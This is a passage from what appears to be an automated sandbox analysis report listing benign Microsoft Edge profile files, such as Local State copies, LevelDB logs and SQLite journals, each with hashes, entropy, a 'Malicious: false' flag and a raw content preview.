SHA-512:	D1BB5F027DBB007BF3167F841FFE098B5EBAFC45DC60673B7E4F5149C8F2834817A490E02B1D04E5FD09589828B4BBB3624D9A7EBBDE3A1066CDDF699DA443DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1015402926376035
Encrypted:	false
SSDEEP:	12:+tU/tU4spEjVl/PnnnnnnnnnnnvoQ/Eou:+tU/tU9oPnnnnnnnnnnnv1j
MD5:	578D5B387D7337034F6E567002A616C6
SHA1:	C741974DEF96043A9C33CBA9C0D8370CE8DDC3E5
SHA-256:	325D74E3742714AF979E2FFF147D4ADA191B8FD1FC53196BAC6ECB301E60D81D
SHA-512:	A9609705CDBFBE4443EDD5D82C5465FB5B15A978C3E89D4CD4B0AD383F71B13BF8655AD26E8379DA2160990C6E3028402976A8290C9B4995BD004D4EE7EC8A94
Malicious:	false
Preview:	..-.............M........\.1.pTp.4..}...h.ll.....-.............M........\.1.pTp.4..}...h.ll...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8921662660623942
Encrypted:	false
SSDEEP:	384:G2QTQJgWQRNkQvyIQwOdQDQ7Q95QQjkiQuHuQ3eZQTn+16QHov8jAyhytGyFyVxY:DJeRtvuwDDr9FjeuV3vToHFu1
MD5:	E98787F4646928322FB7B0112491686E
SHA1:	BD5E628101B0EA5B9BE6943C589D9271AD0A431A
SHA-256:	F2A1223D1B66BDE221CF7E7CADF99B8130B5CA3A07183FAE13B2FFE8F26B258C
SHA-512:	EE12BCB5CE32E32ED0EC1BB96BC478272B935317CCD39CB1BBA604DE105DCFE93C11C2F25ADFC4838AB5F6700E79D299394968E4D948A36840620DE70EC64624
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5476252804752693
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuzllJNs8z:iDLlJv
MD5:	96269E0B53D3F8F27E170D35E1E396E0
SHA1:	6DF6887190666BFE6A6A2D46737DEB6BADDBC245
SHA-256:	49BDF3B129F1F642213E66D8D9CDBB0315D6771E06A12C21E65A574B772B435A
SHA-512:	260D2CD20781A09174B26D52195F5E06EAAA07315B743BE7730D8A044D0BF80FA4EC90902067D4F0BCEECB56CDDD8D688B808705D2C290A61A90FBE6E67F9305
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....U&......U&...........V.e................V.e....................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120204401185355
Encrypted:	false
SSDEEP:	6:HApGkq2P923oH+TcwtfrK+IFUt8YApG6UGXZmw+YApG6UGFkwO923oH+TcwtfrUQ:g0kv4Yeb23FUt870OX/+70OF5LYeb3J
MD5:	E5E1857594843C523DB0CC3A68B75A76
SHA1:	3345D26E74A9C3FA2047A997DF9AA77D464E1061
SHA-256:	8C02C5ABD837A36153F55FF8DA4CD437B5DB30A44F521C4A069B9F3818D62697
SHA-512:	F576FE58BB778F07159A9EC47FA4407AD3E180B856C90BA87243FA6A790F0DB91B14A0C440423341573F333FEBE15AD5D17D06194A9B3E156993AD2629D51BF8
Malicious:	false
Preview:	2024/11/25-10:21:26.400 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-10:21:26.401 1da0 Recovering log #3.2024/11/25-10:21:26.401 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120204401185355
Encrypted:	false
SSDEEP:	6:HApGkq2P923oH+TcwtfrK+IFUt8YApG6UGXZmw+YApG6UGFkwO923oH+TcwtfrUQ:g0kv4Yeb23FUt870OX/+70OF5LYeb3J
MD5:	E5E1857594843C523DB0CC3A68B75A76
SHA1:	3345D26E74A9C3FA2047A997DF9AA77D464E1061
SHA-256:	8C02C5ABD837A36153F55FF8DA4CD437B5DB30A44F521C4A069B9F3818D62697
SHA-512:	F576FE58BB778F07159A9EC47FA4407AD3E180B856C90BA87243FA6A790F0DB91B14A0C440423341573F333FEBE15AD5D17D06194A9B3E156993AD2629D51BF8
Malicious:	false
Preview:	2024/11/25-10:21:26.400 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-10:21:26.401 1da0 Recovering log #3.2024/11/25-10:21:26.401 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182512068573179
Encrypted:	false
SSDEEP:	6:HApZzq2P923oH+TcwtfrzAdIFUt8YApZmZmw+YApZakwO923oH+TcwtfrzILJ:g3v4Yeb9FUt87a/+7m5LYeb2J
MD5:	F037326E60AD14D1E26FB8FB4D65BE19
SHA1:	B2F2B5F4AB150FF784CB63EFD297A8A00C79DE61
SHA-256:	3D46445CD9BEEBC68E4B86A11C7484983914E8C07CFF824F50963B323F17002C
SHA-512:	5A94B9B8D9DDCB8E4AB51BDA291FF1E9BAB894E6464337C26A25E71A9BA6C77B5226F0618E0EDA3AEE60DA1CA7E1FF57D3C5117F0F5AC2354118437BC763C3DE
Malicious:	false
Preview:	2024/11/25-10:21:26.389 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-10:21:26.389 1da0 Recovering log #3.2024/11/25-10:21:26.389 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182512068573179
Encrypted:	false
SSDEEP:	6:HApZzq2P923oH+TcwtfrzAdIFUt8YApZmZmw+YApZakwO923oH+TcwtfrzILJ:g3v4Yeb9FUt87a/+7m5LYeb2J
MD5:	F037326E60AD14D1E26FB8FB4D65BE19
SHA1:	B2F2B5F4AB150FF784CB63EFD297A8A00C79DE61
SHA-256:	3D46445CD9BEEBC68E4B86A11C7484983914E8C07CFF824F50963B323F17002C
SHA-512:	5A94B9B8D9DDCB8E4AB51BDA291FF1E9BAB894E6464337C26A25E71A9BA6C77B5226F0618E0EDA3AEE60DA1CA7E1FF57D3C5117F0F5AC2354118437BC763C3DE
Malicious:	false
Preview:	2024/11/25-10:21:26.389 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-10:21:26.389 1da0 Recovering log #3.2024/11/25-10:21:26.389 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3784e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3785d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37b8a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a24c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e04f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48c7d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
